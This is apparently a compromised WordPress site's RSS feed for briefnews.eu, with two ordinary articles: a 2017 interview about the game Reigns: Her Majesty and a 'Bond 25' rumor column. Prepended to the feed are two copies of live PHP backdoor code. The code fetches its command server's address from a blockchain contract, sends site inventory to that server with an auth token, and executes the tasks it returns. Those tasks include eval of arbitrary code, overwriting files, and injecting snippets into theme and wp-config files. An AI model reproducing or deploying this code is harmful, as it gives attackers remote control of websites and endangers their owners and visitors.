// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Majesty’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 03 Dec 2017 17:53:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Majesty’s – Brief News https://briefnews.eu 32 32 Building Reigns: Her Majesty’s queendom https://briefnews.eu/building-reigns-her-majestys-queendom/ https://briefnews.eu/building-reigns-her-majestys-queendom/#respond Sun, 03 Dec 2017 17:53:01 +0000 http://briefnews.eu/building-reigns-her-majestys-queendom/


Reigns: Her Majesty builds on its predecessor’s devilishly simple mechanics with a new story of political and cosmic intrigue. As in the first Reigns, indie developer François Alliot (aka Nerial) invites you to try on the crown — this time as the queen. Her Majesty is coming out December 7 from publisher Devolver Digital for PC, iOS, and Android.

To survive your queendom, you must balance your relationship with three segments of the population: the religious, the commoners, and the military. You also must keep an eye on your coffers. All four of these stats rise and fall depending on your decisions, and if any of them reach its maximum or minimum, you’ll be deposed in gruesome and sometimes absurd ways.

Your choices appear to you as cards, each with an appeal from someone in your court. You swipe right or left to agree or disagree to the request, just as in the original. However, Her Majesty introduces a new mechanic: an inventory.

“This time around, I think we were more consistent on the game, more traditional in some ways,” said Alliot in a phone call with GamesBeat. “We tried to help the players. We tried not to just hide everything very deep in the game. You might say we played less tricks on the player. We didn’t want to scare them away right off.”

You can collect five items. Some serve as shortcuts, and others can even stave off doom. Alliot says that this helped speed up play, creating methods of triggering certain events so that players didn’t have to just wait for the right card. Occasional hints from characters suggest ways to use the items, which can come in quite handy.

Alliot says that he likes the way word of mouth factors into how people experienced Reigns. Secrets lurk in Her Majesty, little Easter eggs that aren’t necessary for the plot but fun to discover nonetheless. You can check in the menu whether or not you’ve seen all the deaths available or if you’ve met all the characters. And because death is cyclical — once you die, you start again straight away as the new queen — you can experiment and try to trigger new occurrences.

“The way people talk about the games between themselves—’Oh, did you try to play this item on that character? You’ll see something pretty cool happen,’” said Alliot. “That’s a good way to think about the game. I like the fact that people talk a lot about Reigns, about the way they play the game, the way they share secrets. It’s an interesting meta-game.”

Even with the shortcuts, you may have to wait before you can activate certain events. Her Majesty incorporates a new element into the cycle. It’s no longer just “The Queen is dead; long live the Queen.” Rather, each reign is under a different astrological sign, and certain signs trigger specific cards. This could make comparing notes even more interesting, as players have a lot more variables to take into consideration.

“There’s no bad way to play Reigns. I really want to emphasize that,” said Alliot. “We created this structure where you can loop around and the probability system will always make your new king or new queen different from the previous one. Something new will happen to you over time.”

Above: One of the many deaths available in Reigns: Her Majesty.

Image Credit: Nerial

Behind the scenes of the throne room

Aside from Alliot, the folks who worked on Her Majesty are different from the team behind Reigns. Its soundtrack has veered away from what Alliot calls the “medieval procedural music” of Disasterpeace. Instead, it features the eerie melodies of Jim Guthrie, the mystical bard behind standout games like Superbrothers and Capybara Games’ Sword and Sworcery. Arnaud de Bock crafted the look of the new monarch’s journey, consulting with the previous game’s artist Mieko Murakami. And author Leigh Alexander wrote the story and designed the narrative.

Alexander writes about technology and pop culture for The Guardian, and she also hosts its “Everything with Chips” podcast. Before that, she was a prolific game journalist and critic. She was Gamasutra’s editor-at-large, and she launched and ran Offworld, a site that focused on independent games and their cultural impact. She’s also written several books, including the illustrated short story Mona. Since early 2016, she stopped covering games, though she’s done some narrative design and writing.

Her Majesty is her biggest project as a games writer.

“I really loved original Reigns,” said Alexander in a phone call with GamesBeat. “It’s a fantastic system. As a writer in interactive entertainment, it’s unusual that you get brought in in this way, where the system is already working and people already love it. There was just an opportunity for a writer to do something new with it, to build on something fun that was already created with Reigns 1. There were a few reasons why this made me feel like it was a project where I could make an exception.”

Under Alexander’s guidance, Her Majesty explores the way power works within systems, a theme that packs extra poignancy because you’re playing a woman in a medieval setting. Your authority doesn’t go unquestioned, and you’re still subject to the social mores of the day. The cardinal may insist that you wear more modest clothes — and sometimes you won’t be able to say no because you’re balancing the stats.

Above: No palace is complete without a mad scientist.

Image Credit: Nerial

“It was important to me that you play as the king’s wife, and not just as a ruler who’s been gender-swapped,” said Alexander. “I wanted to look at unconventional ways of having power. Like how, in Game of Thrones, the most interesting or the most powerful characters aren’t usually the ones who are on the throne. I wanted to explore the locus of power in this kingdom, and I thought, if you were the queen, that goes really well with this idea that you have to balance all of these four powers.”

Another prominent motif is magic and astrology. The queen’s reigns are cyclical and deeply tied with the stars, and many different systems of belief battle for your support. You encounter various characters such as the acolyte, the witch, the cardinal, and the scientist. Occasionally some characters cast suspicion on others.

“One thing I was thinking a lot about is magic and folklore as means of resisting oppression,” said Alexander. “It’s a kingdom management game and you’re playing as the ruling class, but I thought it would be interesting to connect magic with the idea of resisting power, as it has been throughout history, and have it also be a kind of spiritual escape for the queen.”

Because of the themes and particularly since you’re playing as the most powerful woman in the land, Her Majesty comes across as feminist. However, Alexander says that creating a fun game was the most important thing to her. Her personality and values are present in the final story and the ideas it explores and may very well speak to folks who agree or are interested in those concepts, but that’s not necessarily the point.

“For those who want to see that in there, I hope they have some moments like that,” said Alexander. “But it was also important to me that it didn’t overrate the power of my comedy mobile video game. I want to be careful. I don’t want to come across like I’m saying that my comedy mobile game is a beautiful feminist essay and a tool for structural change, because in fact, there’s a lot of comedy at the expense of that idea in the game. That feminist goddess video games will save the world.”

Alexander said that it was challenging to write a “good Reigns card” because of the limited space. Each must communicate the character’s personality, convey something about the world, and also offer enough information for players to make an educated guess as to what swiping left or right will do. However, it was an enjoyable challenge.

“I enjoyed it structurally. I liked making those calculations,” said Alexander. “When you write one of the cards, it’s really a matter of figuring out how it’s going to interface with all the other ones. The Reigns system is not, for the most part, a linear story. It’s a whole bunch of modular moments that have to look like they’re designed to go together, even though it’s designed so that ideally you could string them together in any way and get a fun little story of the life of a queen.”

Disclaimer: The writer once adopted a cat from Leigh Alexander. Our coverage remains objective.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

]]>
https://briefnews.eu/building-reigns-her-majestys-queendom/feed/ 0
Bond Watch: Could ‘Bond 25’ Remake ‘On Her Majesty’s Secret Service’? https://briefnews.eu/bond-watch-could-bond-25-remake-on-her-majestys-secret-service/ https://briefnews.eu/bond-watch-could-bond-25-remake-on-her-majestys-secret-service/#respond Tue, 05 Sep 2017 19:44:07 +0000 http://briefnews.eu/bond-watch-could-bond-25-remake-on-her-majestys-secret-service/ bond 25 story

It’s been a little over a month since we officially entered “Bond Watch.” If you know the movie news cycle, you know the drill. The next James Bond movie is coming, which means that every single British tabloid in existence is blindly throwing darts at a board, trying to get the big scoop on what the next 007 adventure will be about and who will be in it. Most of the stories that come out of Bond Watch will be stinky helpings of BS, served by the shovelful by sources who don’t know what they’re talking about. But sometimes? Sometimes you’ll find a little gem of truth. That’s the game.

Anyway. Bond Watch: Day 36. Today’s story is that the still-untitled Bond 25 will revisit one of the more infamous events in the series’ storied history. Specifically, the climax of 1969’s On Her Majesty’s Secret Service.

The Rumor

The story comes from the U.K. tabloid Page Six, who reports that Bond 25 will find Daniel Craig‘s secret agent on a mission of revenge. The details will require you to think back long and hard to the events of Spectre, a movie that begins to vanish from the mind the moment the credits begin to roll.

As you may recall, Spectre concluded with Agent 007 defeating his arch-nemesis and (ugh) adoptive brother, Ernst Stavro Blofeld (Christoph Waltz) before driving into the sunset with Madeleine Swann (Léa Seydoux). Spectre is a misfire on a number of levels, but it’s the dynamic between these three characters that linger like a painful bruise two years later. Transforming Bond’s most famous villain into a family member with a personal grievance is worthy of an eye-roll, but trying to convince us that Bond actually loved Dr. Swann, one of the most boring and uninspired Bond heroines in decades played by an actress with no chemistry with Daniel Craig, was a real issue.

Previous Bond movies would have gotten around this by just forgetting she exists in time for the next mission – that’s how these movies have always worked. But the Craig era is defined by continuity and attention to character and detail. And Page Six says that Bond 25 will open with this couple married and happy…only for violence to strike:

A Hollywood insider tells us that in the film that’s so far been dubbed “Bond 25”: “Bond quits the secret service, and he’s in love and gets married.” The source continues that “his wife then gets killed,” bringing Bond back into action.

In the franchise’s last film from 2015, Spectre, Bond’s love interest was Léa Seydoux as Dr. Madeleine Swann — who’s (naturally) rescued by Bond just before the closing credits. But the source says that as the next film opens, they are in wedded bliss. “The film’s like Taken with Bond,” says the source, who adds that the suave spy is trying to avenge his wife’s murder.

The Taken comparison is apt, but “Bond’s wife is murdered” and “Bond goes on a mission of personal vengeance” are not new to this series. If this is true (and you should be taking this all with salt because we’re in “Bond Watch” and nothing is real yet), this will represent the series retreading some of its greatest and not-so-greatest hits.

on her majesty's secret service

Shades of 007’s Past

The most obvious touchstone here is On Her Majesty’s Secret Service, which was once infamous as the only Bond movie to star George Lazenby as 007 and has since evolved out of its black sheep status and into “the often unsung masterpiece that paved the way for Daniel Craig’s take on the character.” That film concluded with Bond marrying Tracy di Vicenzo, the love of his life, only for a still-living Blofeld to have her gunned down minutes after they say “I do.”

